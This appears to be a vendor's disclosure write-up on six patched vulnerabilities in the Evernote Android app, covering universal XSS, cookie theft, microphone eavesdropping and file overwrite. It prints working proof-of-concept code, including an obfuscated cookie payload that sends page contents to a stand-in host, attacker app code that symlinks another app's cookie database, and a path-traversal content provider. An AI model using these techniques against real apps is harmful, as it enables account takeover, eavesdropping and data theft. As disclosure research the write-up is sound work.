Evernote: Universal-XSS, theft of all cookies from all sites, and more

Oversecured is a vulnerability analyzer for Android mobile apps. We frequently scan various popular apps to help secure as many users as possible against potential attacks that could lead to the theft of their personal data. One of the hundreds of popular apps in which we have discovered vulnerabilities was Evernote.

Summary

Oversecured found dangerous vulnerabilities in the Evernote app for Android, which could have allowed access to user accounts to be intercepted by a hostile app installed on the same device. Some time ago, we decided to scan the app — and we discovered six vulnerabilities. They included the potential for Universal-XSS (execution of arbitrary JavaScript code on an arbitrary domain), theft of cookies from all sites, rewriting of arbitrary files, and automatic activation of the microphone to eavesdrop on the user. Evernote fixed these issues as of release 8.12.2, released October 2019. Evernote’s security team reports that they do not have any evidence that these issues were exploited in the wild.

Universal-XSS

We uncovered access to arbitrary components in activities com.evernote.widget.Widget4x1SettingsActivity:

vulnerability and com.evernote.widget.Widget4x2SettingsActivity:

vulnerability

An attacker could have used this error to gain access to arbitrary activities. We decided to use the unexported activity com.evernote.engine.gnome.GnomeWebViewActivity, which took two parameters — EXTRA_BASE_URL and EXTRA_HTML_CONTENT — and passed them when calling WebView.loadDataWithBaseURL(String baseUrl, String data, String mimeType, String encoding, String historyUrl), which allowed arbitrary HTML/JS to be displayed for an arbitrary URL. The app also added an authentication cookie to EXTRA_BASE_URL, meaning account access could be intercepted.

public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    m18857J();
    this.f15723i = getIntent().getIntExtra("EXTRA_SCREEN_TYPE", 0);
switch (this.f15723i) {
    //...
    default:
        Intent intent = getIntent();
        mo16603a(intent.getStringExtra("EXTRA_BASE_URL"), intent.getStringExtra("EXTRA_HTML_CONTENT"), getAccount());
        //...
}
public void mo16603a(String str, String str2, AbstractC2928x xVar) {
    //...
    Global.cookieUtil().mo41610a("GnomeWebViewActivity", str, xVar).mo51586e(new C3076r(this, str, str2)); // runs RunnableC3077s
}

File com.evernote.engine.gnome.RunnableC3077s:

public void run() {
    GnomeWebViewActivity gnomeWebViewActivity = this.f15786c;
    android.webkit.WebView webView = gnomeWebViewActivity.f15715a;
    if (webView == null || gnomeWebViewActivity.f15716b == null) {
        GnomeWebViewActivity.LOGGER.mo14433e("contentLoadedAndCookieSet - mWebView or mLoadingView are null; aborting");
        return;
    }
    webView.loadDataWithBaseURL(this.f15784a, this.f15785b, "text/html", "UTF-8", null); // universal-xss!
    this.f15786c.f15716b.setVisibility(8);
}

Proof of Concept:

Intent next = new Intent();
next.setClassName("com.evernote", "com.evernote.engine.gnome.GnomeWebViewActivity");
next.putExtra("EXTRA_BASE_URL", "http://example.com/");
next.putExtra("EXTRA_HTML_CONTENT", "<script>alert(document.domain)</script><iframe src='http://example.com/' height='100%' width='100%'></iframe>");

Intent intent = new Intent();
intent.setClassName("com.evernote", "com.evernote.widget.Widget4x1SettingsActivity");
intent.putExtra("POSTPONED_ACTION_INTENT", next);
startActivity(intent);

script is written to EXTRA_HTML_CONTENT to show the domain where the code was executed (since the EXTRA_BASE_URL request will not be sent), and iframe so that the request is sent to example.com and the session can be seen in the cookies.

Theft of all cookies from all sites

Access to arbitrary components was also detected in the activity com.evernote.ui.ContractNoUiActivity, which is exported and takes external data:

vulnerability

As the screenshot shows, the app tries to validate the received intent and installs the component to null:

switch (c) {
    case 0: // triggered when the action is installed to "com.evernote.action.DELAYED_NOTE_ACTION"
        Intent intent2 = (Intent) intent.getParcelableExtra("DELAYED_INTENT"); // controlled by the attacker
        if (intent2 != null) {
            intent2.setComponent(null); // component is reset
            // ... later, it runs

trying to filter the intent received. But, as we wrote in our article on this vulnerability, the check can be bypassed using a selector — which also leads to access to arbitrary activities.

We also made use of the activity com.qualtrics.digital.QualtricsSurveyActivity, which took a targetURL value and passed it to WebView.loadUrl(...). It was thus possible to open arbitrary links in the builtin WebView. We then employed a technique for stealing all cookies from all sites to steal the file /data/data/com.evernote/app_webview/Default/Cookies, which is an SQLite database storing cookies’ domain, key, and value, and also various flags including HttpOnly, Secure, etc., for the current app.

The exploit works like this:

  1. A cookie is installed containing JavaScript code that receives content from the current page and sends it to the attacker’s server
  2. A symlink with .html extension is created inside the internal directory of the attacker’s app, pointing to the Cookies file
  3. The attacker first opens their own site, which installs the cookie, and then opens the symlink (we added a 45-second delay, because the cookie is not synced and written to the file instantaneously), leading to the binary file being passed as HTML, the JS code being executed, and the entire content being leaked to the attacker

Code to obtain the content of an entire page:

new Image().src = "http://example.com/?evil=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);

Cookie installation:

document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly9leGFtcGxlLmNvbS8/ZXZpbD0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJodG1sIilbMF0uaW5uZXJIVE1MKTs='))\">'"

Code in the attacker’s Android app:

private static final String APP = "com.evernote";

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    launch("https://redacted.s3.amazonaws.com/set_cookies.html");
    new Handler().postDelayed(() -> launch("file://" + symlink()), 45000);
}

private void launch(String url) {
    Intent next = new Intent();
    next.setSelector(new Intent().setClassName(APP, "com.qualtrics.digital.QualtricsSurveyActivity"));
    next.putExtra("targetURL", url);
    next.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);

    Intent i = new Intent();
    i.setClassName(APP, "com.evernote.ui.ContractNoUiActivity");
    i.putExtra("DELAYED_INTENT", next);
    i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
    startActivity(i);
}

private String symlink() {
    try {
        String root = getApplicationInfo().dataDir;
        String symlink = root + "/symlink.html";
        String cookies = getPackageManager().getApplicationInfo(APP, 0).dataDir + "/app_webview/Default/Cookies";

        Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
        Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

        return symlink;
    }
    catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

Result:

vulnerability

The vulnerability worked with WebView default settings when JavaScript was enabled (WebView.getSettings().setJavaScriptEnabled(true)). This peculiarity of WebView has been fixed quite recently, and binary files are no longer opened as HTML even if they have a .html extension.

We found several other ways to access arbitrary components via com.evernote.ui.helper.URIBrokerActivity and com.evernote.ui.phone.NewPhoneMainActivity, which also made it possible either to steal all cookies or else to achieve UXSS via the activities described above.

Eavesdropping on the user

The Evernote app has the right to access the microphone, which it uses to record voice notes in activity com.evernote.ui.ContractNoUiActivity. The record function was automatically activated when this activity was run with the action com.evernote.widget.action.NEW_VOICE_NOTE, and the app would begin recording from the microphone to the file /sdcard/Android/data/com.evernote/files/Temp/Shared/AudioNote-{date}.amr (which is a world-readable directory). Thus, apps without microphone access writes could use Evernote to eavesdrop on the user.

vulnerability

Proof of Concept:

startActivity(new Intent("com.evernote.widget.action.NEW_VOICE_NOTE"));

It is then necessary to read the file that has been created.

Overwriting arbitrary files

The activity com.evernote.clipper.ClipActivity, intended for adding files to the user’s notes, was exported and could take arbitrary data from an attacker. In the case of an action installed in android.intent.action.SEND, the app took a Uri from the parameter android.intent.extra.STREAM and saved the content to /sdcard/Android/data/com.evernote/files/Temp/Shared/. The problem was with the file com/evernote/note/composer/Attachment.java, because in the case of a content:// scheme the app received the value of _display_name from the provider and saved the file with this name, leading to path-traversal.

Proof of Concept to create file /data/data/com.evernote/evil.

File AndroidManifest.xml:

<provider android:name=".EvilContentProvider" android:authorities="oversecured.evil" android:enabled="true" android:exported="true" />

File EvilContentProvider.java:

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
    matrixCursor.addRow(new Object[]{uri.getQueryParameter("name")});
    return matrixCursor;
}

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
}

File MainActivity.java:

Intent intent = new Intent(Intent.ACTION_SEND);
intent.setClassName("com.evernote", "com.evernote.clipper.ClipActivity");
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://oversecured.evil/?path=/data/data/oversecured.poc/evil&name=../../../../../../../../../data/data/com.evernote/evil"));
startActivity(intent);

In this way an arbitrary file could be written or rewritten.

Research into the security of third-party apps

Oversecured provides security researchers with the ability to scan any app, so as to participate in bug bounties and inform app owners of vulnerabilities they detect. Using the service is very simple, and we even give new users five scans for free

vulnerability